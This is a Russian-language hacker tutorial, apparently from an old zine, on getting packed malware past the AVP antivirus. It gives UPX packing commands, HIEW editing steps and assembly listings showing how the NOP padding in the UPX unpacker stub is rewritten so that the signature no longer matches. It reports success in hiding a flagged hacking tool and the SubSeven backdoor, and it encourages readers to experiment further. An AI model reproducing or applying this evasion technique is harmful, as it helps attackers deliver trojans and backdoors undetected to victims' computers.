Как обойти AVP: Идея подхвачена #2

Продолжая цикл статей о "надувке" AVP
изменёнными запакованными файлами, я хотел
бы поблагодарить Dr.Golova, товарища Gray<JacK>Flint’a
за предоставленный кусочек идеи и, в какой-то
степени, моего преподАвателя по "банковскому
делу". Вполне возможно, что я не "открою
Америку" (а зачем 😉 ?) для "наших
руководящих товарищей", не обессудьте.

В данной статье НЕ рассказывается о
манипуляциях с EP (aka точка входа). Да оно и не
нужно! Сразу предупреждаю: в данной статье
говориться ТОЛЬКО про антивирус AVP! За
обнаружение вируса или трояна ДРУГИМ
антивирусом я ответственности НЕ НЕСУ 😉 .
Например, есть, по крайней мере, один "страж
порядка", который обнаруживает мои
хЫтроЩЩи 🙁 Естественно, тут рекламировать
его я НЕ собираюсь.

Итак! Что понадобится? Отвечаю:

1-st: голова на плечах aka "соображалка"
2-nd: HIEW 6.55
3-d : UPX 1.20 (они "уехали" с upx.tsx.org -> ищите
на http://wildsau.idv.uni-linz.ac.at/mfx/upx.html)
4-th: ТО, на чем мона запустить пункты 2 и 3 😉

ПРИМЕР 1

haktek v1.1 — ну чего-то там "в одном FLAKоне":
мэйлбомбер, сканнер… СТАРЬЁ! Почему-то "сидит"
в AVP’шной базе как злостный вирус! (но пока
что мой комп ещё жив).

1-е — запаковка UPX:

upx.exe -9 haktek.ex_

опция "-9" означает, что сжатие будет
МАКСИМАЛЬНО ВОЗМОЖНЫМ.

2-е — "хьювирование":

hiew32.exe haktek.ex_

жмем F4 => DECODE

F8 => F5 (смотрим "сводку" об X-ze и "прыгаем"
на Entry Point)

Видим что то типа этого:

.004ABBC0: 60 pushad
.004ABBC1: BE15904700 mov esi,000479015 ;" GР"
.004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB]
.004ABBCC: 57 push edi
.004ABBCD: 83CDFF or ebp,-001 ;""
.004ABBD0: EB10 jmps .0004ABBE2 ——— (1)
.004ABBD2: 90 nop
.004ABBD3: 90 nop
.004ABBD4: 90 nop
.004ABBD5: 90 nop
.004ABBD6: 90 nop
.004ABBD7: 90 nop
.004ABBD8: 8A06 mov al,[esi]
.004ABBDA: 46 inc esi
.004ABBDB: 8807 mov [edi],al
.004ABBDD: 47 inc edi
.004ABBDE: 01DB add ebx,ebx
.004ABBE0: 7507 jne .0004ABBE9 ——— (2)
.004ABBE2: 8B1E mov ebx,[esi]

Итак — это начало распаковщика. По его "внешнему
виду" AVP и определяет ТИП. Вот то, что
находится с 004ABBD0 по 004ABBD7, нас и интересует!
Как известно, nop ничего не делает (no operation), но
для чего оно тут нужно?  Ответ:
компилятором или самим пакером
резервируется место под код.

Предлагаю изменить команды так (это,
конечно, ПОЛНОЕ издевательство над
оптимизацией, извращение, но зато полностью
заняло свободные байты):

.004ABBD0: 6A00 push 000 ;-> толкаем в стек 0
.004ABBD2: 58 pop eax ;-> помещаем 0 в eax
.004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax
на ecx и наоборот
.004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1
??? 😉
.004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем"

Для тех, кто не понял: мы "размазали" 2-х
байтную команду jmp на 8 (!) байт.

Вот, в принципе, и всё! НЕ забудьте нажать F9
для сохранения результатов.

Включаем AVP (можно даже с режимом изб.
сканирования) и видим, что haktek.exe В ПОРЯДКЕ!

ПРИМЕР 2

1 — е:

upx.exe -9 server.ex_

2 — е:

hiew32.exe server.ex_

F4 => DECODE; F8 => F5; Видим:

.0042B74A: EB0E jmps .00042B75A
.0042B74C: 90 nop
.0042B74D: 90 nop
.0042B74E: 90 nop
.0042B74F: 90 nop
.0042B750: 8A06 mov al,[esi]

Нда-с, на сей раз нам дано чуть меньше "нопов"
для развлекалочки. Ну ничего, jmp можно "размазать"
и так:

.0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0
.0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1?
.0042B74E: 740A je .00042B75A ;-> ну если равен —
переходим.

Опять сохраняем…

3-е — тест:
Ну на этот раз Backdoor.SubSeven.22.b1 НЕ ОБНАРУЖЕН.

ВСЁ!!!

Последнее напутствие: в этой статье
рассказано только об одной "оптимизации"
анпакера, мною обнаруженной, но, наверняка,
вы найдёте и другие. Например, пустые циклы,
"размазки" компилятора… Ведь главное
изменить как можно большее количество байт
анпакера, чтобы AVP "бросил" его
проверку. Поэтому экспериментируйте,
фантазируйте, ищите другие пакеры…